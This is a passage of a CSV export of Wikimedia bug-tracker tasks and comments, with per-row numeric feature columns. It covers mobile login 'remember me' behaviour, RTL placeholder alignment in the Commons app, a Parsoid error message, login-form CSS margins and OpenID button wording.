Sue was also reporting same behaviour.."
215484,"Allow mobile users to be ""remembered"" on login.",This should happen by default. There is no check box by design. This is possibly related to this particular device... out of interest when you visit the site do you get redirected to the https version?,,,1363610855,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,15.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,8.0,2.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.15,0.825,This should happen by default. There is no check box by design. This is possibly related to this particular device... out of interest when you visit the site do you get redirected to the https version?
215479,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #1)
> (In reply to comment #0)
> > Currently, there is no ""remember me"" checkbox on the mobile site for
> > en.wikipedia.  This means that every-time my browser crashes or I close it, I
> > have to re-login to check my Watchlist.
> 
> I would have expected modern browsers to remember logins for you. 
> Which mobile system and which browser is this about?

It is on a BlackBerry Curve 9330/6.0.0.706 and there is no check box on the mobile login page like there is on the desktop login page.",,,1363605022,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,22.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,12.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.46,0.6,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It is on a BlackBerry Curve 9330/6.0.0.706 and there is no check box on the mobile login page like there is on the desktop login page."
215473,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #0)
> Currently, there is no ""remember me"" checkbox on the mobile site for
> en.wikipedia.  This means that every-time my browser crashes or I close it, I
> have to re-login to check my Watchlist.

I would have expected modern browsers to remember logins for you. 
Which mobile system and which browser is this about?",,,1363563644,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,5.0,0.0,5.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,5.0,13.0,3.0,3.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8421052631578947,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

I would have expected modern browsers to remember logins for you. 
Which mobile system and which browser is this about?"
47989,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"screenshot of the problem

1. Set the phone's language to Hebrew.
2. Install the Commons app.
3. Start the Commons app.
4. The placeholders in the ""username"" and ""password"" fields are aligned differently.

They should be aligned the same way.

--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: Smartphone

**Attached**: {F10852}",Low,25.0,1363018380,1411418034.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-cna3ri3busytxy2p3fkt,task_description,declined,True,c2,1,False,False,False,-25,True,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,3.0,3.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.442105263157895,0.5263157894736842,"screenshot of the problem

1. Set the phone's language to Hebrew.
2. Install the Commons app.
3. Start the Commons app.
4. The placeholders in the ""username"" and ""password"" fields are aligned differently.

They should be aligned the same way.

--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: Smartphone

**Attached**: {F10852}"
225934,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411418034,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,3,False,,,55,True,2.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,2.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,21.0,2.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,3.9206349206349205,0.8095238095238095,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.

For the full story, see this thread on mobile-l: URL"
225929,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"(In reply to comment #5)
> Can someone verify if this is still the case?

It's still the case. The screenshot is still relevant, except now the background is black.",,,1373535964,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,7.0,13.0,3.0,0.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.466666666666667,0.8666666666666667,"(In reply to comment #5)
QUOTE

It's still the case. The screenshot is still relevant, except now the background is black."
225925,alignment of placeholders in input fields in the login screen is inconsistent in RTL,Can someone verify if this is still the case?,,,1373499924,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-7,True,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,10.0,0.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,Can someone verify if this is still the case?
225922,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"In latest master we support layout flipping on Android 4.2 and above, but even without that I was seeing the correct placeholder layout on 4.2.

Will have to check on 2.3...",,,1369166117,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,20.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,6.0,20.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,4.114285714285714,0.8857142857142857,"In latest master we support layout flipping on Android 4.2 and above, but even without that I was seeing the correct placeholder layout on 4.2.

Will have to check on 2.3..."
225916,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"Yes.

Do them RTL in RTL languages.

Android is supposed to align the password itself automatically.",,,1365607917,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,False,,,-20,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,24.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.142857142857143,0.8095238095238095,"Yes.

Do them RTL in RTL languages.

Android is supposed to align the password itself automatically."
225910,alignment of placeholders in input fields in the login screen is inconsistent in RTL,"Hmmm, the difference between the two is that the second one is a password field. Are placeholders for password text fields aligned properly in other applications?",,,1365598489,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.724137931034483,0.8620689655172413,"Hmmm, the difference between the two is that the second one is a password field. Are placeholders for password text fields aligned properly in other applications?"
225901,alignment of placeholders in input fields in the login screen is inconsistent in RTL,Recategorized under Android.,,,1365444005,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cna3ri3busytxy2p3fkt,task_subcomment,,True,c2,1,True,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,Recategorized under Android.
47916,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200","When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1362783660,1363626420.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_description,resolved,True,c2,1,False,False,True,-25,True,0.0,0.0,1.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,1.0,10.0,7.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,7.0,3.0,0.0,2.0,0.0,9.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,3.813953488372093,0.6744186046511628,"When the Parsoid server is down completely (e.g. because you forgot to start it), the error message VE gives you is ""parsoidserver-http-200"". It's kind of ridiculous that it's presenting an error with 200, but it's also a lie: 200 wasn't the response code we got from Parsoid, we got no response whatsoever.

--------------------------
**Version**: unspecified
**Severity**: normal"
221850,"VisualEditor: When Parsoid is down, error message is parsoidserver-http-200",https://gerrit.wikimedia.org/r/#/c/53165/,,,1363011611,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6g7xrokkwj7xvlcpixpd,task_subcomment,,True,c2,1,False,,,-25,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
47775,Add margin: .5em; to #loginend for consistence with #userloginForm,"If you go to
https://pt.wikipedia.org/wiki/Especial:Entrar?uselang=pt
you'll notice the borders of the <div id=""userloginForm""> and <div id=""loginend""> are not left/right aligned.

This seems to be caused by the presence of ""margin: .5em;"" for ""#userloginForm"" but not for ""#loginend"".

--------------------------
**Version**: 1.21.x
**Severity**: enhancement
**URL**: https://pt.wikipedia.org/wiki/Especial:Entrar?uselang=pt",Low,25.0,1362574680,1363803377.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-2whpwbge26cc2fjzd7lq,task_description,resolved,True,c2,1,False,False,True,-25,True,0.0,0.0,0.0,2.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,2.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,8.0,1.0,2.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,1.0,0.0,2.0,9.0,2.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.2528735632183907,0.5402298850574713,"If you go to
URL
you'll notice the borders of the <div id=""userloginForm""> and <div id=""loginend""> are not left/right aligned.

This seems to be caused by the presence of ""margin: .5em;"" for ""#userloginForm"" but not for ""#loginend"".

--------------------------
**Version**: 1.21.x
**Severity**: enhancement
**URL**: URL"
213764,Add margin: .5em; to #loginend for consistence with #userloginForm,Rahul has editbugs now.,,,1363770200,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Rahul has editbugs now.
213759,Add margin: .5em; to #loginend for consistence with #userloginForm,"Rahul, if this is done can you mark the bug as resolved fixed? (I'm not sure if Rahul has editbugs, can you check that, Andre?)",,,1363738090,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-23,True,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,12.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,9.0,9.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.121212121212121,0.7878787878787878,"Rahul, if this is done can you mark the bug as resolved fixed? (I'm not sure if Rahul has editbugs, can you check that, Andre?)"
213754,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:

Status : Merged",,,1363635505,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1818181818181817,0.6363636363636364,"**rahul14m93** wrote:

Status : Merged"
213750,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:

Gerrit Change #53614",,,1363632954,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.75,"**rahul14m93** wrote:

Gerrit Change #53614"
213745,Add margin: .5em; to #loginend for consistence with #userloginForm,There's a patch in gerrit attempting to solve this: [[gerrit:53614]],,,1363616146,,PHID-USER-uazrhtptdqudzoqfefsc,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,25.0,3.6875,0.875,There's a patch in gerrit attempting to solve this: [[gerrit:53614]]
213739,Add margin: .5em; to #loginend for consistence with #userloginForm,"**rahul14m93** wrote:

:)",,,1363377488,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,False,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.6666666666666666,"**rahul14m93** wrote:

:)"
213732,Add margin: .5em; to #loginend for consistence with #userloginForm,"Oh, nevermind. Vector has the styles you mentioned.",,,1363377417,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9090909090909091,"Oh, nevermind. Vector has the styles you mentioned."
213724,Add margin: .5em; to #loginend for consistence with #userloginForm,Is this for the Monobook theme? Or for Vector? Vector I see different styles...,,,1363377077,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-2whpwbge26cc2fjzd7lq,task_subcomment,,True,c2,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,35.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,18.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8823529411764706,0.8235294117647058,Is this for the Monobook theme? Or for Vector? Vector I see different styles...
47304,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"").

A few more changes may be needed than to simply adapt the text above the button on the provider selection page ( Special:OpenIDConvert ).

--------------------------
**Version**: master
**Severity**: enhancement",Low,25.0,1361608200,1385196101.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-wkyshzo5cqaylrvqgeso,task_description,resolved,True,c2,1,False,False,True,-27,True,1.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,7.0,3.0,11.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,8.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,3.9014084507042255,0.6338028169014085,"Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"").

A few more changes may be needed than to simply adapt the text above the button on the provider selection page ( Special:OpenIDConvert ).

--------------------------
**Version**: master
**Severity**: enhancement"
210866,"[GUI] Correct the button message text when converting OpenID (must be ""converting"" or ""adding"", not ""Login"")","solved by merging v4.01
